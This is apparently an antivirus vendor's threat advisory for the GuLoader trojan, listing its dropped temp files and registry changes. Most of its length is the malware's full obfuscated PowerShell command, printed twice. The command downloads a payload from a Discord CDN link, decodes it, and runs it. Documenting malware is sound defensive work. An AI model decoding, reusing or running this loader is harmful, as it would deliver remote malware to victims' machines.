Trojan.VBS.GULOADER.C

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %User Temp%\{Random character}.{Random 3 character}.ps1 → Deleted afterward
• %User Temp%\{Random character}.{Random 3 character}.psm1 → Deleted afterward

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" "<#Malignitet Indeh Born Quinde Trissebl Aflggel #>;Function Augiteops ([String]$deaf){$Pedaletmel=8;$regardle=autophoned4($deaf);For($Henvenden=7; $Henvenden -lt $regardle; $Henvenden+=$Pedaletmel){$autophoned=$autophoned+$deaf.Substring($Henvenden, 1)};$autophoned;}function Fremst ($Antiradia216){. ($autophoned01) ($Antiradia216);}function autophoned4 ([String]$tekstkolon){$Slvpap1=$tekstkolon.Length-1;$Slvpap1;}$autophoned02=Augiteops 'BrstfldTBattalirHandelsaFjortennEksekutsUnphysifOrbitoleFairingr SpionkrEnvinegiDamspilnSelvretgTyleriz ';$Bromb=Augiteops 'amountrhAabnetctColeadetSaveloyp UnprossVaretog:Loudnes/ palaic/TaiwanecPastoradStoejdenfastfry.ReptiledCooklesiSigfriesLykkeflcTyristooBeskrivrFinessed freezea FamilipPolitikpAlcafab.Adosseec AjlefooExtramomQuadrag/ Hugorma Unconft ChampatNykkevaaHighmancMiljomrh CrudedmBsningeeIfrelsenphenebet LubricsTurcykl/ Kampmo1nonradi1Syddans9Corpusc9 Farand4Epigoni6Boligve4 atrofi8 lovfst2Fjerdep3Tumorer7Jasmint3 Eviden0Palaemo2Judicia1Radixer2Perling9Kataple5 Krligh8Rigsdag/Smaabor1Nonsanc2 Pallal0Glutton1Geometr3Driftsr1Whimsic1Udicsti7Lymphoc7Dragone4Bommesi2Picture4Genesis7 skorst5Crewsfo0Paction1Ombukke8 Fluctu8Korende5 anpart/CysticeL torpederesponduChamoiscSweepboo ResilecUncountaYapness.AutovastfremganoFurculacBarracu?OpbyggeeStyrketxLiberti=Bombekr6Angloma5 ByggetcKulturt9Patriar5DestabibProblemcAaretol6Unthron&RejfniniOprresus Biavle=Tuninge6 Gridor5 TuracobTilstaa6Unoxidie Opstni6EdacioucOutdoor6Drkelut&afgifteh CcwsdomUnsolic=Coadmin7Autosto9hstngebfBrittle9FedteradOverswecIsdanne9 Syssel2FeriaudcBigband6Archeoc5Personk9Bequeat4 Gldfys6Bendayibbrugerv7Grundla4SleepifdFolkeva4Epithal1 Betros3DematereGuglios3OverhldbSylespib BacchafPreiden8Aandsar3 Gennem3Girning3 Sprong2Toplededbydreng9StellarfZeoideiaEmuwrenaHilarudcWiggyspdgastrilcTilvnni7Pastori7Salteka8PortligdSubalte5Strutsd7 VgtigsbWormisha Tjalke4Eksport4BestvnicSvmmefudSubtilid Udfrdi7Generald Exoenz4UnheleubUrbefolcFanione5 Dropss9 Diabol2Hypopne5Trefods1Fabuler1Halophy2Preabso&Uncrink ';$autophoned01=Augiteops 'bonangviWallopse ElskelxFiskere ';$autophoned00=Augiteops 'Adminis$WaitsslgCrossbilFeatishoAfterwib SvinemaPhoniatl Garant:DorstenS RefrnslMannequvGeneralpOrdbgeraSpacemapPreoccl8Misawar Fairshi=Immatch annexatS ConventForordeaAnlistorCurvetit Stemme- VeepscBOvoglobiBrandspt KoffarsLvhangbT UnsummrStetikkaTipsprmnBowleresFolkeskfBrevsamePosttetrGyrfalc kompone-PommardSHeartbrobieberiuEngastrrElectrocHomolece Kollag Aflaas$overdivB VarietrBradyteoVititehmlintwhibHarpune Erstatn-TrykpreDUltrasoestumfils spydsptEdenligi GenfdtnvelaminaMisgrebtBlindfdi HarpunoKahikatnRsonner Spritkr$PrinterSOmgaaetlPreguilvGuaymiepcoinhabaFuppetbpKlevogn2 Bankfu ';Fremst (Augiteops 'Kattele$ CardiagsubclaslEneboeroGarderobPrydelsa raphidlGravema:PrebuccSFibulaelWhiggifvReveredpOverposaHerrevrpRegelbu2Roeopta=Firehju$BasculaeinstrumnskuldervDupning: FabrikaMacawstpAbsurdcp GgehvidEpigramaConidiatfabiforaOesopha ') ;Fremst (Augiteops 'AnademuIBededagm Sanselp TuchisoTndrrenrPyjamastPhotona-AftermeMOpgavefoHretikedAdamsiauLawterelEnergeteFleksti BundfalBEkstrapiTaxiflytUndersgsPejlstrTTekstberVougeotabodelinn Beanbas DolentfBogskrieAkovderr rollba ') ;$Slvpap2=$Slvpap2+'\Hyrdebreve.thr' ;Fremst (Augiteops ' Kalkbr$StikningMornernl PhotogoGraverebMaythesaSamlebrlGlatrag:MacroceS XenophlgadedrevAlbestopLstansaa Unaffep Mollis7Caville=Unffroz( TjsnorTpostscre SelvpesFdrelant Ansvar-AngdxliPTvrretnaBirthbetUndejech Fordyb Tilgode$elsdyrsSRrligerlRadiumiv BurglapEksportaCapsulip Psilos2Udrejse)Hyalino ') ;while (-not $Slvpap7) {Fremst (Augiteops 'IntensiIDeadlinfPsykote Tunnelm(Usandfr$ SknhedSStrakedldiagramv KonspipConservaRationap Umulig8Parrysy.TingsteJHaandkloOverfatbBifagssSVanhellt GullabaTawpisptHildeboeZacaton Spelaea-HaveejeeCaesalpqDiluvia Spirobr$ registaoutcatcu MandbatWoodwiso Lyophip lavasvhDimensio BedstenStiltoneDenomindInconcu0Literal2Borgers) Forkrl Deucei{ UnbathSSalathot Budgeta aleriorActivattSerabci-PaahngsSJurymedlInconjoeReadiedecleistopweeklon Pellets1Overimm}ForhaanetrisserlInsipidsRacemsseFagbibl{NicenesS PhyllotOceanetagasslanrHyperaetKapital- WailjeSafstaael NotedoeTolergseBranchipMbelpol Redenia1Emissio; BuksesFHeksemerbygevejeBevidnemKoldtvasShakopatPharise Subcirc$NonintuaFrakenduRigouritUnupholo BookinpMderefehGalactooInspektnDekompoeSlserisd Kambri0Cranebe0Intrati} stubbl ');Fremst (Augiteops 'Reformi$PeopletgLnnasrelHubertuo ForkynbBrontosaMoleliklMicroar: parallSscrambllKneppedvSyndigepMalliesa ForoegpLnprobl7Unmeteo=Turnnje(HistiocTMindernemillisesSkinlest Sgefac- UnunanPAdsorptaStandretBibliofh inhomo Denatu$ AfboedSFugiosslUpspintvTelpherpPrisskeahjembripFerropv2Mugetob) Udvikl ') ;}Fremst (Augiteops 'Dreadsr$SubparlgSnappedlsygepleoNydeligbBrokeryaAnslagsl Contro: EcstatIDvrghnenbjffettdLogiksptFlettengForgruntSaarbarsKildnin Arodisc=Thought UranylGFanlikeeHyperglt Uptown-TabelleCMateriaoAutistin JunkettStenaraeDebatopnAktiedytHomilet Slgtle$AmmaproSStaastelUnsleepvVaabenspgrammataWiedjarp Natato2Relivea ');Fremst (Augiteops ' Circum$ ellissgsrlovenl HaandsoEstraysbGriftinaLagerfrlRufferd: IntimiLPeiterpaOpportum BetlehuTitulersAmminolaTyvtusk Esplan=Bridesm Brystbi[DecanatSDecrepiy PapmacsradioistVedrrteeDowitchmtolkern.OversvmCAuriculoBrusketnstadighvFuglevieSnohalerInsectitAllothi]Acetoph: Socage:TerneneFLavdosirFolketiostallinmDelaftaBsletfilaDolorifsToruloseHachuri6 Blazer4 UdplanSjackrolt SeducerStyrkeli FuldvonRakkerkgProtago(Syrebad$HypsiloIBipackunAarsskrd Nuancet CoactogchatolltChippensJaccone)Sprayer ');Fremst (Augiteops 'Perendu$Echinocg BssesklSkabiosoMononitb NugatoaBasoteklRetorik:Superada xanthou prevent ViolonoSmrbollpImpleadhHovedreobuddikenrecruiteSpaltekdguidevo2Baliver Impecu= Listen Autogen[ AfprvnSSaintpayBleedersDowilytt AffyrieBoniterm Ipomoe.StormskTSqueezeeForconcx NabofatNazidem.TrautveESupersonForesticBeothukoPignusgdConserviTransmonRectitigFoejeli]Basisfa:Uvulati:SkoddenAFornuftS ferskvC InvolvIExtoldiINevisup.AutoneuGTronfrae FishpltAverahfSArbejdstAzimuthrCosmismi MonkeynGrydskogTransak(Slukker$SlserieLCistercaAcerdolm JejunouPrparatsPolygloaFrancis)Univels ');Fremst (Augiteops 'Halvful$bibliotgUnrhapslAchroiooMischarbBlrendeaIridosml Lgform:knightlaIliallaumautvimtUnsubtroLemtjenpCarlotthklockmao NylghanFluesmkeOrnithodSemiana3Skattea=Lydskre$ FredstaTrankreu Justift gemhaso Xanthrp BrocadhOverdilo TilladnAbigaeleCaroliddWrester2Dyrehel.GaloppasCounteru AmmonebLyricalsDyrebartFjelighr kirkesiSuabilinOxberrygOverdom( Uramil3Floriss5Svendel2Sttedom8Paapege4 Semico2 Unders,quadrim2 Prison5 Jerimi3 Tankef0leasing7Naphtha)admiral ');Fremst $autophoned3;
  powershell "<#Malignitet Indeh Born Quinde Trissebl Aflggel #>;Function Augiteops ([String]$deaf){$Pedaletmel=8;$regardle=autophoned4($deaf);For($Henvenden=7; $Henvenden -lt $regardle; $Henvenden+=$Pedaletmel){$autophoned=$autophoned+$deaf.Substring($Henvenden, 1)};$autophoned;}function Fremst ($Antiradia216){. ($autophoned01) ($Antiradia216);}function autophoned4 ([String]$tekstkolon){$Slvpap1=$tekstkolon.Length-1;$Slvpap1;}$autophoned02=Augiteops 'BrstfldTBattalirHandelsaFjortennEksekutsUnphysifOrbitoleFairingr SpionkrEnvinegiDamspilnSelvretgTyleriz ';$Bromb=Augiteops 'amountrhAabnetctColeadetSaveloyp UnprossVaretog:Loudnes/ palaic/TaiwanecPastoradStoejdenfastfry.ReptiledCooklesiSigfriesLykkeflcTyristooBeskrivrFinessed freezea FamilipPolitikpAlcafab.Adosseec AjlefooExtramomQuadrag/ Hugorma Unconft ChampatNykkevaaHighmancMiljomrh CrudedmBsningeeIfrelsenphenebet LubricsTurcykl/ Kampmo1nonradi1Syddans9Corpusc9 Farand4Epigoni6Boligve4 atrofi8 lovfst2Fjerdep3Tumorer7Jasmint3 Eviden0Palaemo2Judicia1Radixer2Perling9Kataple5 Krligh8Rigsdag/Smaabor1Nonsanc2 Pallal0Glutton1Geometr3Driftsr1Whimsic1Udicsti7Lymphoc7Dragone4Bommesi2Picture4Genesis7 skorst5Crewsfo0Paction1Ombukke8 Fluctu8Korende5 anpart/CysticeL torpederesponduChamoiscSweepboo ResilecUncountaYapness.AutovastfremganoFurculacBarracu?OpbyggeeStyrketxLiberti=Bombekr6Angloma5 ByggetcKulturt9Patriar5DestabibProblemcAaretol6Unthron&RejfniniOprresus Biavle=Tuninge6 Gridor5 TuracobTilstaa6Unoxidie Opstni6EdacioucOutdoor6Drkelut&afgifteh CcwsdomUnsolic=Coadmin7Autosto9hstngebfBrittle9FedteradOverswecIsdanne9 Syssel2FeriaudcBigband6Archeoc5Personk9Bequeat4 Gldfys6Bendayibbrugerv7Grundla4SleepifdFolkeva4Epithal1 Betros3DematereGuglios3OverhldbSylespib BacchafPreiden8Aandsar3 Gennem3Girning3 Sprong2Toplededbydreng9StellarfZeoideiaEmuwrenaHilarudcWiggyspdgastrilcTilvnni7Pastori7Salteka8PortligdSubalte5Strutsd7 VgtigsbWormisha Tjalke4Eksport4BestvnicSvmmefudSubtilid Udfrdi7Generald Exoenz4UnheleubUrbefolcFanione5 Dropss9 Diabol2Hypopne5Trefods1Fabuler1Halophy2Preabso&Uncrink ';$autophoned01=Augiteops 'bonangviWallopse ElskelxFiskere ';$autophoned00=Augiteops 'Adminis$WaitsslgCrossbilFeatishoAfterwib SvinemaPhoniatl Garant:DorstenS RefrnslMannequvGeneralpOrdbgeraSpacemapPreoccl8Misawar Fairshi=Immatch annexatS ConventForordeaAnlistorCurvetit Stemme- VeepscBOvoglobiBrandspt KoffarsLvhangbT UnsummrStetikkaTipsprmnBowleresFolkeskfBrevsamePosttetrGyrfalc kompone-PommardSHeartbrobieberiuEngastrrElectrocHomolece Kollag Aflaas$overdivB VarietrBradyteoVititehmlintwhibHarpune Erstatn-TrykpreDUltrasoestumfils spydsptEdenligi GenfdtnvelaminaMisgrebtBlindfdi HarpunoKahikatnRsonner Spritkr$PrinterSOmgaaetlPreguilvGuaymiepcoinhabaFuppetbpKlevogn2 Bankfu ';Fremst (Augiteops 'Kattele$ CardiagsubclaslEneboeroGarderobPrydelsa raphidlGravema:PrebuccSFibulaelWhiggifvReveredpOverposaHerrevrpRegelbu2Roeopta=Firehju$BasculaeinstrumnskuldervDupning: FabrikaMacawstpAbsurdcp GgehvidEpigramaConidiatfabiforaOesopha ') ;Fremst (Augiteops 'AnademuIBededagm Sanselp TuchisoTndrrenrPyjamastPhotona-AftermeMOpgavefoHretikedAdamsiauLawterelEnergeteFleksti BundfalBEkstrapiTaxiflytUndersgsPejlstrTTekstberVougeotabodelinn Beanbas DolentfBogskrieAkovderr rollba ') ;$Slvpap2=$Slvpap2+'\Hyrdebreve.thr' ;Fremst (Augiteops ' Kalkbr$StikningMornernl PhotogoGraverebMaythesaSamlebrlGlatrag:MacroceS XenophlgadedrevAlbestopLstansaa Unaffep Mollis7Caville=Unffroz( TjsnorTpostscre SelvpesFdrelant Ansvar-AngdxliPTvrretnaBirthbetUndejech Fordyb Tilgode$elsdyrsSRrligerlRadiumiv BurglapEksportaCapsulip Psilos2Udrejse)Hyalino ') ;while (-not $Slvpap7) {Fremst (Augiteops 'IntensiIDeadlinfPsykote Tunnelm(Usandfr$ SknhedSStrakedldiagramv KonspipConservaRationap Umulig8Parrysy.TingsteJHaandkloOverfatbBifagssSVanhellt GullabaTawpisptHildeboeZacaton Spelaea-HaveejeeCaesalpqDiluvia Spirobr$ registaoutcatcu MandbatWoodwiso Lyophip lavasvhDimensio BedstenStiltoneDenomindInconcu0Literal2Borgers) Forkrl Deucei{ UnbathSSalathot Budgeta aleriorActivattSerabci-PaahngsSJurymedlInconjoeReadiedecleistopweeklon Pellets1Overimm}ForhaanetrisserlInsipidsRacemsseFagbibl{NicenesS PhyllotOceanetagasslanrHyperaetKapital- WailjeSafstaael NotedoeTolergseBranchipMbelpol Redenia1Emissio; BuksesFHeksemerbygevejeBevidnemKoldtvasShakopatPharise Subcirc$NonintuaFrakenduRigouritUnupholo BookinpMderefehGalactooInspektnDekompoeSlserisd Kambri0Cranebe0Intrati} stubbl ');Fremst (Augiteops 'Reformi$PeopletgLnnasrelHubertuo ForkynbBrontosaMoleliklMicroar: parallSscrambllKneppedvSyndigepMalliesa ForoegpLnprobl7Unmeteo=Turnnje(HistiocTMindernemillisesSkinlest Sgefac- UnunanPAdsorptaStandretBibliofh inhomo Denatu$ AfboedSFugiosslUpspintvTelpherpPrisskeahjembripFerropv2Mugetob) Udvikl ') ;}Fremst (Augiteops 'Dreadsr$SubparlgSnappedlsygepleoNydeligbBrokeryaAnslagsl Contro: EcstatIDvrghnenbjffettdLogiksptFlettengForgruntSaarbarsKildnin Arodisc=Thought UranylGFanlikeeHyperglt Uptown-TabelleCMateriaoAutistin JunkettStenaraeDebatopnAktiedytHomilet Slgtle$AmmaproSStaastelUnsleepvVaabenspgrammataWiedjarp Natato2Relivea ');Fremst (Augiteops ' Circum$ ellissgsrlovenl HaandsoEstraysbGriftinaLagerfrlRufferd: IntimiLPeiterpaOpportum BetlehuTitulersAmminolaTyvtusk Esplan=Bridesm Brystbi[DecanatSDecrepiy PapmacsradioistVedrrteeDowitchmtolkern.OversvmCAuriculoBrusketnstadighvFuglevieSnohalerInsectitAllothi]Acetoph: Socage:TerneneFLavdosirFolketiostallinmDelaftaBsletfilaDolorifsToruloseHachuri6 Blazer4 UdplanSjackrolt SeducerStyrkeli FuldvonRakkerkgProtago(Syrebad$HypsiloIBipackunAarsskrd Nuancet CoactogchatolltChippensJaccone)Sprayer ');Fremst (Augiteops 'Perendu$Echinocg BssesklSkabiosoMononitb NugatoaBasoteklRetorik:Superada xanthou prevent ViolonoSmrbollpImpleadhHovedreobuddikenrecruiteSpaltekdguidevo2Baliver Impecu= Listen Autogen[ AfprvnSSaintpayBleedersDowilytt AffyrieBoniterm Ipomoe.StormskTSqueezeeForconcx NabofatNazidem.TrautveESupersonForesticBeothukoPignusgdConserviTransmonRectitigFoejeli]Basisfa:Uvulati:SkoddenAFornuftS ferskvC InvolvIExtoldiINevisup.AutoneuGTronfrae FishpltAverahfSArbejdstAzimuthrCosmismi MonkeynGrydskogTransak(Slukker$SlserieLCistercaAcerdolm JejunouPrparatsPolygloaFrancis)Univels ');Fremst (Augiteops 'Halvful$bibliotgUnrhapslAchroiooMischarbBlrendeaIridosml Lgform:knightlaIliallaumautvimtUnsubtroLemtjenpCarlotthklockmao NylghanFluesmkeOrnithodSemiana3Skattea=Lydskre$ FredstaTrankreu Justift gemhaso Xanthrp BrocadhOverdilo TilladnAbigaeleCaroliddWrester2Dyrehel.GaloppasCounteru AmmonebLyricalsDyrebartFjelighr kirkesiSuabilinOxberrygOverdom( Uramil3Floriss5Svendel2Sttedom8Paapege4 Semico2 Unders,quadrim2 Prison5 Jerimi3 Tankef0leasing7Naphtha)admiral ');Fremst $autophoned3;"
  

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Trojan modifies the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
UNCAsIntranet = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
AutoDetect = 1

(Note: The default value data of the said registry entry is 0.)